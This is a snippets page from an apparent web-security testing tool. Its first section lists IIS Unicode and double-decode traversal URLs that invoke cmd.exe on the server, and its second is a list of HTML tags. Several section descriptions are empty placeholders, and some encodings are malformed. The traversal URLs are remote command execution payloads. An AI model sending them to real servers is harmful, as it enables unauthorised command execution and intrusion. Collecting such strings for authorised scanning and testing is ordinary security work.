WhiteHat Arsenal 1.07 Beta Code Snippets

Code Snippets

Various useful snippets of code related to web application security.

IIS Unicode Vulnerability Strings

Code Snippet description

IIS Double-Decode Vulnerability Strings

Code Snippet description

http://NTServer/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
http://NTServer/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
http://NTServer/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir
http://NTServer/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir
http://NTServer/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir
http://NTServer/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
http://NTServer/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir
http://NTServer/msadc/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
http://NTServer/scripts/..%255c../winnt/system32/cmd.exe?/c+dir
http://NTServer/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir
http://NTServer/iisadmpwd/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir
http://NTServer/cgi-bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir
http://NTServer/samples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir
http://NTServer/_vti_cnf/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir
http://NTServer/adsamples/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir

Sendmail HTML Mail

Code Snippet description

All HTML Tags

Code Snippet description

<!DOCTYPE>
<A>A</A>				A (anchor or link)
<ACRONYM>
<ADDRESS>ADDRESS</ADDRESS>		ADDRESS (address format)
<APPLET>APPLET</APPLET>			APPLET (Java applet)
<AREA>AREA</AREA>			AREA (area of image map)
<B>B</B>				B (boldface)
<BASE>BASE</BASE>			BASE (base URL)
<BASEFONT>BASEFONT</BASEFONT>		BASEFONT (default font size)
<BDO>
<BGSOUND>
<BIG>BIG</BIG>				BIG (bigger font size)
<BLINK>BLINK</BLINK>			BLINK (blinking text)
<BLOCKQUOTE>BLOCKQUOTE</BLOCKQUOTE>	BLOCKQUOTE (indented block of text)
<BODY>BODY</BODY>			BODY (main content of document)
<BR>BR</BR>				BR (line break)
<BUTTON>
<CAPTION>CAPTION</CAPTION>		CAPTION (table caption)
<CENTER>CENTER</CENTER>			CENTER (centered content)
<CITE>CITE</CITE>			CITE (inline citation)
<CODE>CODE</CODE>			CODE (inline code)
<COLGROUP>
<DD>DD</DD>				DD (definition description)
<DEL>
<DFN>
<DIR>DIR</DIR>				DIR (directory list)
<DIV>DIV</DIV>				DIV (section of a document)
<DL>DL</DL>				DL (definition list)
<DT>DT</DT>				DT (definition term)
<EM>EM</EM>				EM (emphasized text)
<EMBED>EMBED</EMBED>			EMBED (embedded plug-in)
<FIELDSET>
<FONT>FONT</FONT>			FONT (font color, face, and size)
<FORM>FORM</FORM>			FORM (form for user input)
<FRAME>FRAME</FRAME>			FRAME (window region)
<FRAMESET>FRAMESET</FRAMESET>		FRAMESET (set of frames)
<H1>H1</H1>				H1 through H6 (standard headings)
<HEAD>HEAD</HEAD>			HEAD (document header)
<HN>
<HR>HR</HR>				HR (horizontal rule)
<HTML>HTML</HTML>			HTML (outermost tag)
<I>I</I>				I (italic)
<IFRAME>IFRAME</IFRAME>			IFRAME
<ILAYER>ILAYER</ILAYER>			ILAYER (inline layer)
<IMG>IMG</IMG>				IMG (image)
<INPUT>INPUT</INPUT>			INPUT (input element in a form)
<INS>
<ISINDEX>ISINDEX</ISINDEX>		ISINDEX (searchable index)
<KBD>KBD</KBD>				KBD (keyboard text)
<KEYGEN>KEYGEN</KEYGEN>			KEYGEN (generate key material)
<LAYER>LAYER</LAYER>			LAYER (positioned HTML content)
<LEGEND>
<LI>LI</LI>				LI (list item)
<LINK>LINK</LINK>			LINK (link to external files)
<LISTING>
<MAP>MAP</MAP>				MAP (mapping information for image map)
<MARQUEE> LOOP
<MENU>MENU</MENU>			MENU (list of simple items)
<META>META</META>			META (metadocument information)
<MULTICOL>MULTICOL</MULTICOL>		MULTICOL (multiple column formatting)
<NOBR>NOBR</NOBR>			NOBR (no break)
<NOEMBED>NOEMBED</NOEMBED>		NOEMBED (alternative text for embedded objects)
<NOFRAMES>NOFRAMES</NOFRAMES>		NOFRAMES (alternative text for frames)
<NOLAYER>NOLAYER</NOLAYER>		NOLAYER (alternative text for layers)
<NOSCRIPT>NOSCRIPT</NOSCRIPT>		NOSCRIPT (alternative text for JavaScript)
<OBJECT>OBJECT</OBJECT>			OBJECT (embedded object)
<OL>OL</OL>				OL (ordered list)
<OPTION>OPTION</OPTION>			OPTION (option in a SELECT list)
<P>P</P>				P (paragraph)
<PARAM>PARAM</PARAM>			PARAM (parameter for an applet)
<PLAINTEXT>PLAINTEXT</PLAINTEXT>		PLAINTEXT (display rest of document as-is)
<PRE>PRE</PRE>				PRE (preformatted text, fixed-width font)
<Q>
<RT>
<RUBE>
<S>S</S>				S (strikeout type)
<SAMP>
<SCRIPT>SCRIPT</SCRIPT>			SCRIPT (client-side JavaScript code)
<SELECT>SELECT</SELECT>			SELECT (selection list in a form)
<SERVER>SERVER</SERVER>			SERVER (server-side script)
<SMALL>SMALL</SMALL>			SMALL (smaller font size)
<SPACER>SPACER</SPACER>			SPACER (extra space)
<SPAN>SPAN</SPAN>			SPAN (span of content)
<STRIKE>STRIKE</STRIKE>			STRIKE (strikeout type)
<STRONG>STRONG</STRONG>			STRONG (strong emphasis)
<STYLE>STYLE</STYLE>			STYLE (style definition)
<SUB>SUB</SUB>				SUB (subscript)
<SUP>SUP</SUP>				SUP (superscript)
<TBODY>
<TABLE>TABLE</TABLE>			TABLE (table)
<TD>TD</TD>				TD (table data)
<TH>TH</TH>				TH (table heading)
<TITLE>TITLE</TITLE>			TITLE (document title)
<TR>TR</TR>				TR (table row)
<TT>TT</TT>				TT (typewriter font)
<U>U</U>				U (underline)
<UL>UL</UL>				UL (unordered list)
<VAR>VAR</VAR>				VAR (variable)
<WBR>WBR</WBR>				WBR (word break)
<XML> text-autospace
<XMP>XMP</XMP>				XMP (sequence of literal characters)